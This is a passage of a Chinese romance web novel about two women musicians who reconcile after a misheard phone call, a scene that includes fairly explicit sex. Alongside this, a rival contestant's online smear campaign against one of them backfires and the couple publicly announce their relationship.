作为当事人之一的程婉,却僵站在原地,不知在犹豫什么,而耳麦中的导演却在催促:“答应她。” “快点答应她,你在犹豫什么?” 这按部就班的无聊比赛,终于在鲶鱼的搅动下,有了让观众期待的变数。 直播间变得越发热闹。 程婉已被架上火堆上,不得不答应,只能咬了咬牙,挤出话语:“比就比。” 她极力挽尊,斥骂道:“输了你可别耍赖。” 许风扰满不在意地笑了笑,只说了句:“请。” 三天后,音乐节。 舞臺后臺。 “我去,你小汁也是真刚啊,于私于公,柳听颂肯定都要站你这边,你又何必冒险” 前面的演唱还没有结束,燃陨四人站在一块,索性聊起前两天的事。 楚澄说完前一句还不够,又嚷嚷道:“那程婉就快把我要出风头、我想红写脸上了,你要是退一步,其他人肯定着急顶上,不敢让她胡来。” “结果你像个傻子似的怼上去,要是输了……” 她话音一转,又突然笑起,小臂杵了下旁边人:“不过帅得很,没给咱们燃陨丢人。” 斜靠着铁架的许风扰勾了勾唇角,没说旁的,却有一股孩子气的嘚瑟。 况野对着楚澄翻了个白眼,就道:“你什么时候变得那么叨叨了,当个酒吧老板还当成老妈子了?” “阿风就不可能输,你操那么多心做什么。” 楚澄被气笑,忍不住道:“我不就多说了一嘴吗?” 况野看着沉闷,骨子裏的叛逆不比许风扰差,这会更是坚定不移站在许风扰这边。 纪鹿南在这时开口,笑着打圆场:“橙子你着急什么?那些人早就看不惯程婉了,只是碍于节目一直装着。” 话到此处,她转头对着许风扰挤眉弄眼,就道:“你是不是早就看出来,笃定自己会赢。” 许风扰就挑了挑眉,一切尽在不言中。 那楚澄眨了眨眼,有点懵,吶吶道:“那会我都快紧张死了,哪裏能看得出别的” 许风扰实在无奈,只好出声解释。 程婉确实是用了关系进来的,许风扰不知其他人从何得知,但确实是有许多人知晓,本就心存不满,那程婉还卯住劲表现,让旁人生出厌恶。 又正好,她与许风扰生出矛盾,便有人偷偷将此事告知许风扰,许风扰起初并不以为意,可那程婉竟说出那样的话,非要装到枪口上,许风扰就忍不了。 反正也要寻些事情,彻底压下风言风语,索性就拿程婉开刀。 再说十拿九稳这事,这音综说是综艺,却也是比赛,谁不想多留一会,偏偏那个程婉非把自己当靶子,惹得旁人忌惮,大家自然会想办法对付她,杀杀她的锐气。 而许风扰还在比赛前强调,必须要匿名投票,那些个顾及表面客套的人都放下心来,纷纷选择许风扰。 另外还有和许风扰一个队的人,除去柳听颂,谁不怕被程婉压一头 所以她们必然会选许风扰。 另外她本身实力也不比程婉差,要是那些人都持着公平公正的心态,许风扰也不一定会输。 这一堆因素加在一块,看似轻狂的举动却稳当,根本没让许风扰担忧一点,反倒意外多了个单人舞臺,而后再以绝对票数压倒程婉,一下子出尽了风头,甚至还被节目买了两热搜,用实力彻底盖住了之前风言风语,可谓一举多得。 楚澄听完这些,揉了揉脸就笑:“得,我白担心了,就是苦了我新买的平板,好像给我掰弯了点……” 况野根本不管这些,只说了句:“管她什么东西,不服就上,谁要惯个老乌龟。” 几人聊了半天,许风扰低头一看,才瞧见柳听颂发来消息,说她刚从工作室回到家,买了好些食材,分类之后一一拍照后,又问许风扰想吃什么。 在交谈笑闹间,时间流逝得飞快,以至于快要上臺,许风扰来不及打字回复,索性打了电话。 那人大抵也在等她的消息,第一声就接通,清润声音从扬声器中传出。 “宝宝。” 许风扰眼尾还有笑意残留,当即就回道:“柳听颂……” 后臺声音杂乱,信号也差,将她的话语模糊,只能听到含糊音节。 但站在餐桌前的女人仍笑起,温声道:“今晚回来吃饭吗,还是想和橙子她们聚一下” 好像有人在高声喊着许风扰,那人以极快速度说了句什么,柳听颂越发听不清,连忙追问道:“宝宝你在说什么?分什么” “什么分,是我刚刚拍的照片没分好,还是什么?” “宝宝?!” 焦急的声音接连冒出,回应她的却只有电话挂断的嘟嘟声。 柳听颂不知想起什么,面色瞬间惨白,指间的手机滑落,一下子就掉到地上。 第89章 笨蛋姐姐 冰冷的嘟嘟声回响, 摔落在地的手机亮起又熄灭,屏幕裂出一条狰狞的白痕。 耳畔还重复着模糊的声音,连着恐惧导致的耳鸣一起, 将那个字反复循环。 分 分什么? 是将之前的食材分类, 还是说现场的分贝太大,又或者是在说现场时间紧迫, 她们要争分夺秒了,脑子裏的词彙不断往外冒,像是写不出歌词时, 胡乱拼凑, 往音符裏套, 塞着塞着,总会挑选到一个合适的。 可这一次答案已在纸面, 柳听颂却不肯理会, 不断拼凑着其他词彙, 像是试图在千万个积木裏, 找到一个相似的零件, 强塞进裏头。 可违和感还是让人清醒, 不断提醒着她掌心还揣着的正确答案。 是分手吗…… 回忆又一次翻涌, 按理说,人承受严重创伤时,大脑为了避免重复伤害,会将这段记忆模糊,甚至遗忘,可柳听颂偏要反复回想, 将每一个细节都牢牢记住。 在空旷老旧楼道中,无力挽回与失声的恐惧一并迭加, 她拼命抱紧许风扰,可那人却越来越远。 “柳听颂,我们分手吧。” 那个模糊的字眼被填入其中,变作记忆裏那哽咽又决然的语调,分明已是回暖时刻,却犹如掉入冰窖中,不断往裏坠。 “不可能……”她张了张嘴,艰难的声音挣扎。 手机被捡起,彻底支撑不住、无法站起的人跪坐在冰凉瓷砖上。 屏幕又一次亮起,颤抖的指尖艰难打着字句,像垂死之人最后的挣扎,被海水泡得发白的手不断往上抓,却永远无法触碰到海面,眼泪往下滴落,摔在两人间的聊天页面裏,开出破碎又绝望的花。 【宝宝】 【宝宝刚刚说了什么?对不起,我没有听清,你可以再说一遍吗?】 【是在说东西分得不够仔细吗?我刚刚确实有点偷懒了,我再重新分一下好不好?】 【宝宝】 【阿风你怎么不理我……是在忙吗】 接连打出的话语被裂缝分割,极力温柔体贴的话语,早已露出狰狞面容,像是张开獠牙的怪物在嘲讽。 时间在流逝,打出的字句在输入框删删减减,生怕太多而打扰到对方,克制地停下。 可焦灼、恐慌的情绪却驱使着她继续,以至于一遍遍打出短句,又一遍遍地删除。 往复循环,不见停顿。 发白的嘴唇、颤抖的青紫指尖,手机一直在抖,每分每秒都有再失手砸落的风险。 柳听颂根本顾不上,眼睛一眨不眨地盯着屏幕,期待着对方的回应。 可一分钟、十分钟,乃至半个小时过去,她仍未得到回应。 以时间作为分割线的屏幕,又冒出句句问话。 【对,我都忘记了,宝宝现在应该在演出了吧】 【刚刚是想问你,演出结束后想和橙子她们聚一下,还是回家吃饭,我好提前准备一下】 【这次音乐节好像管的很严,我完全找不到直播的人了,】 【我也知道看这些不好,可是我真的太喜欢宝宝了,真的好想无时无刻都想看见你】 【下次燃陨演出,我可以去现场吗】 【我等会可以去接你吗?】 又是十分钟过去,许风扰之前发来的消息已被顶到最上面,彻底瞧不见,只剩下柳听颂孤零零的自言自语。 【宝宝刚刚说了什么?】 【什么分是不是我听错了】 【你那边很吵,信号又很差,我可能是听错了】 旁边的三斤意识到不对,一下子跳下沙发,想柳听颂身边蹭来蹭去,试图安慰。 可柳听颂却发颤,她本就瘦弱,如今只穿着浅灰的家居服,就更先显单薄易碎,眼眶周围已经红透,水珠落了又落,像是没有尽头一般,淹没屏幕,失魂落魄的躯体飘忽在半空,将人折磨得死去活来。 【是分手吗……】 【宝宝,我不想和你分开】 【我真的知道错了,以前那些事都是我不对,你原谅我好不好?】 【求求你了,我不能离开你】 【我真的没办法和你分开】 【我没办法想象没有你的未来,宝宝】 窗外的景致依旧,日光顺着地面延长,落在她几乎透明的白皙肌肤上,像是透光的瓷器,稍一碰就将有破碎的风险。 黯淡又被按得亮起的手机,柳听颂紧紧盯着,一秒也不肯挪开,生怕错过许风扰的消息。 可对面依旧,完全没有理会,仍由恐惧蔓延,各种猜测在脑海中上演,结局一律是许风扰毅然离开的背影。 她真的不需要她了吗? 心脏被不断揪紧,似破抹布被反复浸泡拧干,环绕的耳鸣没有好转,甚至将疼痛加剧,就连左臂都冒出疼痛感,无法真正抬起。 【宝宝,不要分手好不好?】 她卑微的乞求,将之前从未说过的话挤出。 【有什么事,我们好好谈谈,我可以改,我什么都愿意改】 没有回应的话语还在继续,其实她但凡仔细想一想,便能察觉到其中的端倪,明明这几天她们都粘在一块,同吃同住,拥抱接吻,甚至在沙发、床榻间缠绵,热恋般的情侣也不过如此 唯一的芥蒂只有这段时间的热搜,想好的解决办法被况野抢先,最后不了了之。 只留下辗转反侧的怀疑,一遍遍怯弱地想,许风扰是不是不愿将她们的关系摆到明面,甚至开始自我检讨,觉得是自己太过不小心,才导致了这一系列的发生。 尤其是节目裏的刻意避让,将柳听颂彻底钻进牛角尖裏,看似平静无波的表面,早已被雨水泡得无比酸涩。 还有那些重新在一起后,却一直没能讲清楚的矛盾,上一次的经历还是太惨烈,让两个人都不禁刻意回避,维持着薄如纸面的平静,可如今都通通冒了出来,将理智掩埋,将柳听颂彻底击溃。 代表时间的数字不断变换,界面裏却依旧悄无声息。 曲折的腿脚已经发麻,与冰凉体温一起不断加重。 【我不想分手】 【我不要】 字句在刷屏,眼泪顺着裂缝往下。 柳听颂控制不住的崩溃,回忆压住又涌现,将人彻底压垮。 许风扰瞧见这些消息的时候,已是两个小时后,疯狂冒出消息淹没屏幕,越往后越多,不知发了多久,让本就岌岌可危的电量,越发飞速消耗,以至于让许风扰才看到一半,就已经息屏。 臺下的气氛依旧热烈,众人大喊着要返场,而燃陨几人却已退到场后,嬉笑着打闹。 “阿风,你联系到你家那位没有” 她们刚约好,要一起去聚餐,得带家属的那种。 楚澄视线一移,却见到许风扰露出极其难看的表情。 “咋了你这是” “V博又发什么了吗” 这几天全是这方面的事,难怪楚澄会这样想。 可许风扰却摇了摇头,只道:“我可能有事要回去一趟,你们先去吧。” “哎?” 众人不免诧异,可还没来得及细问,就见许风扰转身就走,不断加快的脚步,最后甚至跑起来,瞬间就消失过道中。 车速快快慢慢,每次都在超时的边缘止住,紧赶慢赶还是在日光熄灭时才赶回。 只听见一声巨响,房门被用力推开,砸出“嘭”声。 来人直接踏进门裏,继而就大喊一声:“柳听颂!” 她快步走进屋内,气息微喘,在舞臺蹦跳中的汗水粘在身上,衣服杂乱,模样很是狼狈。 可此刻已顾不得那么多,眼睛一扫就看见裏头。 跌在瓷砖间的女人仰头看她,不知哭了多久的眼眸红肿,面色却苍白,瞧见来人,她好像试图遮掩,露出一个虚僞的温婉笑容,一边挣扎着站起,一边道:“你回来了?” 过分沙哑的声音,差点将许风扰吓了一跳,还以为她又失声了。 而那人说完这些又跌落在地上,根本没有站起,已哭得脱力。 “柳听颂,”许风扰又喊,几步走上前,也不知是什么心情,焦急担忧中还带着莫名的气。 她一把拽住柳听颂手臂,稍弯腰就将人打横抱起,肌肤接触的地方都被冷得冒出鸡皮疙瘩,不知这人在这裏坐了多久,完全变成了冰块。 许风扰眼皮一跳,极力压抑的怒气还是忍不住冒出一丝,低声呵斥道:“你到底在做什么?!” 能把自己折腾成这样。 可怀裏人却只是哭,明明是最成熟稳重的年长者,却完全控制不了现在的自己,手揪着对方的衣领,曲折骨节几乎要从薄皮中刺出,青紫脉络清晰可见。 明明已哭尽的眼泪,又在此刻冒出,顺着眼尾、脸颊,不断往下砸。 可饶是这样,许风扰仍觉得怀裏人轻得飘忽,还不如之前握在手中的贝斯重,随时就能被风吹走的模样。 她抱着她走到沙发,坐下后又扯过旁边的毯子,将柳听颂和她都包裹起来。 急得不行的三斤也跟过来,喵喵地往被子边缘钻,挤进柳听颂的怀裏。 许风扰没有推开猫,只是伸手将它拱出来的缝隙又压实。 在这个宽敞的客厅内,她们一家三口就缩在这个小小被子裏,如同简陋的安全巢xue。 怀裏的女人还在哭,情绪波动太大后,哭泣就很难止住,有时候甚至不知道自己在哭什么,明明许风扰已经回来,用行动解除之前的误会,可她还是无法止住,抽噎着落泪。 她哭得好惨。 之前宛如皎月清冷的女人,现在在她怀裏,白瓷般的肤色染上大片嫣红,从眼尾、耳垂到脖颈,甚至连拽紧衣袖的指尖都是红的,像是被胭脂泼上来,冰冰凉凉的躯体逐渐滚烫。 控制不住的哭嗝,鼻子都皱起,从无声低泣到失控大哭,抬手紧紧抱住许风扰,炙热呼吸洒落她脖颈,用不成调的声音,央求着:“别走、别不要我* 。” “不分、不分手。” 她哭得太厉害了,吐字都含糊,重复道:“不分、不要分。” 揽在腰间的手将人扣紧,那点冒出的脾气莫名其妙就散去,许风扰的心软得一塌糊涂,甚至连怎么安慰都忘记,只顾着将人往自己怀裏塞。 她低下头,薄唇吻在额间、发丝之中,温声一遍遍重复:“好,不分。” “不分手。” “不分开。” 单薄的布料被浸湿,被呼吸洒落的地方,都染上同样的红。 强行挤入的三斤被夹得难受,却还在喵喵个不停,不知是不是安慰柳听颂。 “不要分手、不要……”不知柳听颂是否听见许风扰的回应,还在不断重复,只是仰了仰头,叫许风扰的吻落在眼眸、鼻梁。 怎么会哭得那么狼狈,就好像个要不到糖的小孩,一直在哭闹。 “笨蛋,”许风扰语气无奈。 “喵,”三斤钻出一个脑袋回应,下一秒又被人按住脑袋,强压下去。 “到底是什么让你误会成这样?”她轻轻嘆气,语气不自觉柔和。 “你是笨蛋吗?” “后臺信号太差了,我就说了两句话,说还没有决定要不要聚餐,然后问你分那么仔细做什么,好像已经决定要怎么做。” “结果你只听到一个分字……” 许风扰气得想笑,吻却越发轻柔,将柳听颂眼尾的泪舔舐。 “笨蛋。” 找不到别的称呼,开始一遍遍的重复。 “我为什么突然要和你分手,因为我在上臺前突然想去出家吗?” 柳听颂无法回应,哭得太惨了,连回答都很困难,转来转去就是那几个字:“不要分。” “不分手……” 柳听颂和许风扰都不是爱哭的人,缺爱的小孩很早知道哭泣没有用,可这段时间她们却总哭,一下是许风扰,一下是柳听颂,在对方这儿,变成敏感又脆弱的小孩,像将上半辈子没哭的眼泪都耗尽。 “笨蛋姐姐,”许风扰吻在她眼睫,留下轻浅的痕迹。 勾在脖颈的手不断缠紧,柳听颂摇了摇头,像是像想烦人,开口却道:“不分……” “好,不分,”许风扰语气更柔。 “不要分开。” “好,不要分开。” “不许走,”那人终于说出新的字句。 许风扰咬住她鼻尖,认真的许诺:“不会走。” “喵。” 两人越抱越紧,怀裏的猫挣扎了一会,还是把大脑袋探出来,可怜兮兮地搭在薄被边缘。 许风扰就笑,说:“三斤在笑你了,笨蛋姐姐。” 柳听颂哭声一滞,低头埋进许风扰脖颈,还没停,只是学会了藏起来。 “不是……”她闷闷开口,哭腔依旧,含糊的嘟囔像在撒娇。 “没有笑。” 眼泪顺着脖颈往下落,滴进锁骨与脖颈形成的三角凹坑裏,如同一摊浅浅水洼。 许风扰闷闷的笑,哄着道:“好,三斤没有笑。” 许是这样一遍遍的纵容,让怀裏人生出一丝勇气,往日理智自持都被哭的缺氧,以至于一片空白的大脑驱赶走,只剩下本能的渴望。 于是,她声音极低弱地开口:“要……我也要公开……” 第90章 腰……要断了 “要……我也要公开……” 她声音太弱, 以至于许风扰都怀疑自己是否听错,低头询问了一遍,才敢确定对方在说什么。 她有些愣住, 一时没能说出其他。 埋在颈窝间的女人却误会, 泪眼婆娑地抬起头,哭腔依旧, 一边说一边还掉眼泪珠子:“你是不是、是不是不想?” “你就、你不喜欢我,”真是彻底哭晕了头,竟能把这样的话说出口。 实在是憋太久了, 不知什么时候起就开始怀疑, 屡次梦见许风扰爱上旁人的戏码, 翻来覆去却找不到几个反驳的理由,只能睁眼到天亮, 即便许风扰躺在自己身边, 也不曾缓解分毫。 “你、你不要不喜欢……”她哭着央求, 眼眶周围已经红肿, 真不知从哪儿来的那么多眼泪, 哭了一轮又一轮, 瓷白肌肤都被描上一层胭脂釉, 泡进咸涩的热水裏。 “不要不喜欢我。” “求求你,不要不喜欢我。” 许风扰嘴唇碾磨,嗓子被堵住,好半天才挤出一句:“柳听颂,你知道你在说什么吗?” 听到这话,没有得到想要答案、误以为是绕着弯的敷衍的人哭得更厉害了。 可许风扰却没再像之前一样哄着她, 抽出的手捧住对方脸颊,让柳听颂仰头, 只能看向她。 距离更近,鼻尖触碰,哪怕是被泪水浸泡的眼眸,也无法阻拦许风扰的审视,任何情绪都无处可逃。 “柳听颂,你知道你在说什么吗?” 大拇指擦过脸颊,抹去泪水。 “你明白你在说什么吗?” 柳听颂抽噎着,对方太过明显的变化,即便是此刻的柳听颂也察觉到了不对,可怜兮兮地看着她。 许风扰的声音沉沉,无意识带出几分警告,像拿着绳索的猎人,还得问猎物是否已经决定好。 “公开什么?” “我们的关系?” “柳听颂,现在我们是什么关系?” 一连三个疑问,想要的都是一个答案,分明她声音平缓,却有一种莫名的逼迫感。 之前的回忆不可避免地冒出,又想起老旧楼房裏,许风扰决然的话语,曾经亲密无间的恋人,如今又是什么关系 柳听颂张了张嘴,却不愿把那个答案说出。 许风扰好像明了,粗粝的指腹将细腻皮肤擦拭得更红,清冷的月亮此刻完全由她掌握,被印上独属的标签。 她说:“你真的想好了吗?” “柳听颂我们已经分分合合很多次了,这一次你真的可以肯定,我们不会分开了吗?” 她在问柳听颂,也想在问自己。 “我们真的可以吗?” 曾经深信不疑的答案,在接连波折中,开始生出彷徨,也是因此,两人宁愿维持此刻不清不楚的现状,也不肯主动沟通,生怕一不小心就打破着脆弱的关系。 可人类是不懂知足的,特别是曾经拥有过。 她说:“柳听颂,你想和我重新在一起吗?” 其实这话应当柳听颂来说,若要算上责任,柳听颂应当是过错较多的一方,如果不是她的隐瞒与犹豫,她们或许不会走到现在这一步。 可是,现在的她实在是哭的太惨了,哪裏是用力揪紧的衣领,也无法留下太多褶皱,这让许风扰心软。 “你真的想好了吗?” “破镜重圆还是重蹈覆辙” “如果这一次再分开,那就真的不会再有下次……” 话还没有说完就被怀裏人伸手堵住,被水雾笼罩的眼眸满是畏怯。 “不会、不会了。” 眼尾的雾气又凝聚成珠,滑落进发间。 她努力控制着泣声,胡乱摇着脑袋,坚决道:“宝宝,不分开了。” “不要分开了。” 薄唇擦过掌心,吻过那些被赋予人生意义的脉络,像是另一种形式的红绳缠绕,从此以后的人生都将绑定在一块。 “柳听颂,说一句我想听的。” 她定定看着柳听颂,晦涩眼眸只倒映着她的面容。 心脏骤然一缩,而后又以极快的速度跳起。 覆在唇间的手不由偏移,抚摸过对方脸颊、耳垂。 明明还在哭,声音却笃定。 “我是你的,一直都是你的。” 许风扰突然偏头咬住了她的手,本就尖锐的牙齿没有一点留力,直接咬出了一个凹坑,以此当做契约上的印章。 这一次,再也没有后路。 细碎的吻又一次落下,比起之前的毫无旖旎、单纯安抚的触碰,这一次的吻急切且热烈,将残留眼泪都舔舐,将薄唇碾磨压紧,就连一呼一吸都被掌控。 作为唯一见证的猫,没有得到应有的待遇,反被两人挤得更瘪,实在受不了后才跳出被子,坐到旁边,不满地喵喵直叫。 可两人却没空理会,最后一根弦崩坏,失控的情绪需要一个发洩点。 柳听颂用手臂缠着许风扰脖颈,抬头仰颌,纤细腰肢绷得更紧,在承受也在讨要。 许风扰压着人往自己怀裏挤,齿尖划过柔软唇瓣,蛮横往裏探入。 还在掉落眼泪进唇间,被挤压、碾破,舌尖尝到咸味。 许风扰不禁抬眼,看向对方。 怎么会哭那么久…… 好像被欺负惨了。 “笨蛋,”她含糊地开口,剩下字句还未冒出,就被对方完全堵住。 薄被掉在地上,旁边的猫叫腻了,突然开始舔起爪子,表情沉迷。 人被打横抱起,吻却没有停下,脚步凌乱却急地往卫生间走,水声响起又停下。 柔软床铺骤然下陷,有两人跌进其中。 失去往日的暧昧拉扯,一切举动都来自本能,拼命的贴近、触碰、挤压,两个人都恨不得将对方死死塞如血肉。 许风扰仰头呼吸,又被人压着脖颈往下,扣在腰间的手就没有松开过。 衣服成了无用的阻隔,被撕扯丢开,在地上堆成小山。 湿漉漉的眼眸,眼泪凝结又被抿住,只能发出含糊的呜咽。 枕头被垫在身下,被迫抬高的腰腹,手推着膝盖,迫使分开。 柳听颂不管其他,只要粘着对方就好,无论被摆成什么样,都要紧紧粘着对方,纤长的小腿缠向腰间,无意识抬手抓住的脊背,在上头留下凌乱抓痕。 夜晚已经来临,霓虹灯亮起,照亮这以钢铁铸就的城市,大街上人挤人,尤其是江边两旁,往来游客望着远处的高楼,水面倒映着她模样。 而在她看向的地方,曾经装饰奢侈的房子裏,如今已是一片狼藉,到处是被摔砸的狼藉。 直播中端着前辈架子的程婉,此刻已撕开假面,露出愤恨阴冷的表情。 自上一次与许风扰争斗失败后,就自觉丢了大脸,一直郁结在心,哪怕她们组的节目确实得到极高票数,她也不觉得开心,只觉得许风扰针对她,又一次被打脸。 再加之,她白日通过特殊渠道得知,她是一众选手裏得票数最低的人,可能下一期就要被淘汰,两者相加,情绪就不受控制,暴怒之下,她开始不停摔砸着眼前的全部东西。 ——嘭! 最后的酒瓶被甩飞,玻璃在墙上炸开,紫红的酒液顺着墙面流淌,染红了欧式风格的墙纸。 她一屁股跌在地上,发洩后的眼神恍惚却带着恨意,不明白这一切为什么会变成这样。 一个风评极差的乐队主唱,竟能毁了她这些年拼命积攒维持的名望,一想到她为这个节目付出了什么,如今却落得这种下场。 恨意翻涌,无论如何发洩都无法压制的怒火控制头脑,她突然看了下四周,抓住那个已经被炸裂开的手机。 屏幕亮起,大拇指在键盘上疯狂敲打。 “喵!” 舔完毛的小猫终于意识到主人已经不在,大脑袋转了个圈,刚刚想要找人,丢在角落的自动投喂机突然发出滴的一声。 它眼睛一亮,连忙朝那边跑去。 而未合上的房门有喘息声传出,哭腔依旧,可这一次却像是求饶,柔弱的哼唧,可怜地一遍遍喊着:“宝宝、宝宝。” “可以了、够,”破碎语句,如同还在冒出的眼泪一般凌乱不堪。 搭在腰间的腿无力垂落,想要往后退,又被扣住脚踝拽回,身下的枕头被调整到更合适的位置,越发抬高。 薄软腰腹收紧,露出线条轮廓,不知何时冒出的汗水顺着这些线条滑过,恰好落在许风扰唇边,连带着桃尖一并被含住,咬着轻拽起。 应是有些刺痛感,但柳听颂的感受已被旁的占据,完全不知道疼,只随着对方指尖,骤然攀升向万米高空,又猛然跌落而下,大脑陷入一片真空状的空白,什么都无法思考,什么都无暇顾及,只顾着感受、哭泣,继而控制不住的战栗。 剩下的床单已染上大片大片的湿痕,是眼泪也有其他。 连她自个都恍惚,迷茫于自己为什么可以有那么多的水,好像身体裏再没别的东西了,完完全全由水组成,以至于如今可以冒出那么多,哭那么久。 幸好家裏还有客房…… 她竟突然冒出这样的庆幸,自从许风扰在裏头停留过几夜后,房间裏的床单被套开始时常换洗,于是方便了现在,不然…… 柳听颂想,她之后一定会没有力气重新更换。 这片刻的走神也被察觉,给予更过分的惩罚,在噼裏啪啦的水声中,一次次的攀升将感受迭加。 胡乱的思绪都被剥夺,柳听颂哭到缺氧,最后也不知道自己在哪裏,在做什么,只顾着胡乱说着话。 “宝宝、宝宝。” “不要、阿风。” 失去思考能力的人试图蜷缩躲避,又被压住肩膀。 “不要枕头了、不要枕头,”她哭着央求,原本冷清的模样都化作不堪一折的可怜可欺,一遍遍含糊地重复:“腰要断了,求你,不要枕头了。” “要断了,好酸。” “好酸啊,宝宝。” 客厅裏,埋头苦吃的缅因似乎听到声响,竖着耳朵,仔细分辨了一会,又偏头向旁边自动饮水器,毛茸茸大尾巴甩来甩去,一副心情极愉悦的模样。 此处宁静,可V博却已收到炸开锅,如今热播、引起极大讨论度的竞技音综选手——程婉,公开控诉节目裏有黑幕,说她在直播时就收到导演的指令,要求她配合许风扰,刻意制造出矛盾,甚至要她输给许风扰,以此来抬高许风扰。 她有意暗示,说狗仔之前的曝光都是真的,许风扰确实傍上了一个实力雄厚的资本,还说许风扰之前和圈内男歌手有过暧昧,是为了前途才改变了性取向,甚至连她队友的官宣,也是为了帮她压下这事。 这些话一出,之前勉强压下的话题,此刻又掀起惊涛骇浪,瞬间就引爆了V博。《 》 90-100 第91章 夏日还长,她们还有漫长时间可以接吻、表白,肆意消磨。 不管V博如何沸腾, 责骂、猜测声接连不断,许风扰好像都不曾知晓一般,几个小时过去了, 都没有回应。 那程婉不免得意, 自以为踩中许风扰尾巴,觉得许风扰碍于金主一事, 不敢正面反驳,只能被动承受她的脏水。 她很是得意,大拇指在屏幕滑动, 又一次刷新V博, 将网友大骂许风扰, 为她说话的评论看了一次又一次,新出一条就用小号点赞一条, 必要时还会切回大号。 可这次却让她愣住, 只见热搜榜上赫然多了一条许南烛护女的词条。 她心裏冒出不详预感, 下意识就点进去。 就见在娱乐圈占有一席之地的天星娱乐公司官博, 突然将许风扰的那条“关你屁事”的V博转发, 并配文:大小姐, 说的对。 这事已出, 谁还猜不到许风扰与许南烛的关系 众人又震惊又诧异,没想到许风扰隐瞒得那么深,也不懂为什么是亲生母女,许南烛却公开表示不喜,甚至纵容旗下艺人欺压许风扰。 圈内圈外都震惊住,官博评论下全是不可置信的评论, 而那官博也不回应,只是一味地给询问许风扰和许南烛关系的评论点赞。 这完全是明示, 众人哪裏还不明了 惊讶过后,再回过头。 看着程婉字字怒斥,坚定地表示许风扰早已傍上金主的博文,便会让人觉得好笑。 堂堂一个娱乐公司的大小姐,还需要傍什么金主 她自个就是资本! 程婉彻底看傻了眼,在此之前还向旁人偷偷打听过,确定许风扰没什么背景后,才敢在节目中摆出前辈的架子,可劲招惹对方, 程婉面色一白,急急忙忙点进评论区。 之前还在安慰她的评论,现在口风一转,纷纷开始质疑,而沉默不语的许风扰粉丝也冒了出来,终于有了说话的底气。 【原来娱乐圈的人也会听信狗仔的话啊,没弄清楚就瞎说,这就是咱们德高望重的老~前~辈~啊~】 【在直播裏就一直以资历欺人,以为自己有多了不起,输给许风扰后就恼羞成怒,开始泼脏水了亏我之前还为你说话】 【好恶心,输不起就别比,要是没有背景的人,估计已经被逼得离开娱乐圈了吧】 不过也有人在为她辩驳。 【就是证明了许风扰没有傍金主而已,但那个黑幕恐怕真的存在吧,她可是天星娱乐的大小姐,节目组不护她护谁】 【是啊是啊,之前婉姐和许风扰比赛时,我就觉得奇怪了,许风扰的实力也不算太好,怎么票数相差那么大,原来尊不能惹的大佛啊】 【对了,还有柳听颂,之前我就好奇,到底是什么样的背景才能让柳听颂屈服,现在一看,原来是天星娱乐】 【我记得柳听颂之前就是天星娱乐的艺人,被捧红之后才自己独立出来、成立个人工作室的,所以她和许风扰应该早就认识了】 【趁乱磕一口,原来不是小三上位,是青梅与青梅啊】 舆论变得更加混乱,整个V博都乱成一锅粥,处处都在讨论这事。 而程婉僵坐在原处,寒意从脊骨冒出,扩散至四肢百骸。 她不知想起什么,立刻切换至大号,可下一秒就见自己账号变灰,她被判恶意造谣,禁止发言三十天,甚至连之前的V博都被全部锁掉。 电话随之响起,都是她之前接过的品牌代言,嚷嚷着程婉率先违反合同条约,要求速度解约。 看得出来,确实是许南烛那边发力了。 一想到这儿,程婉就更加绝望,身体止不住的颤抖,心中已全是悔意,招惹一个许风扰不要紧,可天星娱乐…… 许南烛向来出手凶厉,在圈内圈外都是出了名的恨,目前无特殊原因就与天星娱乐解约的艺人,除了柳听颂外,没一个过得好,甚至有几个已经选择淡出圈子,过起平常人的生活。 程婉虽偏激,但骨子裏就是个色厉内茬、欺软怕硬的人,不然也不会找了个风评不佳、看向没有背景的许风扰欺,结果倒好,直接招惹了个最不好欺的。 想到这儿,程婉表情更难看,几乎要哭出来。 她当然还想在圈裏混,一大把年纪还想方设法加入节目,那必然还是想红一把。 可红没红,反倒断了自己以后的路,心中一片灰暗。 而更让她绝望的是,第二天中午时,柳听颂突然发出的V博。 “哎,这V博怎么进不去了?” 某公司的茶水间中,突然有人冒出这样一声疑问。 另一人也是同样诧异:“我之前打开就这样,还以为是我的网出了问题。” “哎,你们居然不知道”有人拿着咖啡,探出个头。 她下一秒就解释道:“柳听颂官宣了!现在V博都被挤爆了。” “什么!”两人诧异不已。 “什么官宣了假的吧,”两人下意识将目光投向另一边。 全公司都知道,这人是柳听颂的多年老粉,前几个月为了看柳听颂直播,愣是当场起身,跑去和老板请了两个小时假,工位上也全是柳听颂的小卡贴纸海报,每次出去聚餐,一到Ktv裏,包厢中就全是柳听颂的声音,可见她的热爱程度。 而此刻,她正站在窗边,像是看不见同事的询问,发愣的眼神直勾勾望着天空,嘴巴开开合合,自言自语地说着话。 “不可能、怎么会可能……” “妈妈也不是反对你谈恋爱,但是这也、” “谈了就谈了,你不瞒着妈妈就好……什么人咱们再说。” 看到她这副模样,两人哪裏还不懂,不由问道:“天,柳听颂喜欢的人是谁,怎么可以把她刺激成这样” 探头的同事笑而不语,只叫她们等会自己看。 好奇心被高高钓起,手在屏幕前刷着,一整天都心神不宁,生怕再错过。 直到下班时候,V博终于维修好,两人迫不及待打开。 “我的天!” “居然是她!” 不可置信的声音一前一后响起。 只见手机界面中,露出放大后的图片,是许风扰与柳听颂曾在家门口、落地镜前,许风扰从后抱紧柳听颂的照片。 拉扯往下的外套,白皙肩膀处的斑驳痕迹若隐若现,被低头埋在她肩头的白毛脑袋遮掩,虽然看不清脸,却能瞧见她环在腰间的手,无声宣誓着占有权。 哪怕什么都不说,也能从照片中看出她们亲密关系。 V博底下的粉丝都已疯狂,不只是柳听颂的粉丝,哪怕路人都讶然,纷纷留下评论。 同时也有一段说是前些时间许风扰与女友共同去楚澄酒吧的视频,在网上通过各种渠道疯传,即便已经压缩得十分模糊,还是能瞧出这两人的装扮与照片中的一模一样。 众人这才恍然,原来之前被众人猜来猜去的许风扰女友,就是柳听颂。 除去这张夹在中间的照片外,还有另外两张的照片也被放出。 第一张是面容青涩的许风扰抱着贝斯,连手指都不知该如何搭,却笑眼弯弯地看着旁边的柳听颂,像个憨憨摇尾巴的小狗。 最后一张拍摄于今天,在日光明亮的厨房裏,只着简单白短袖的许风扰露出一个瘦削背影,身前小锅热着牛奶,脚边的大缅因扒上小腿,想着法子撒娇,而她脑袋上还翘着一缕黑发,被风吹得摇摇晃晃。 再看那条V博的内容,柳听颂并未写太多,短短几个字却蕴含太多内容。 过去、现在与未来。 评论不断增加,浏览量达到了个极恐怖的数字。 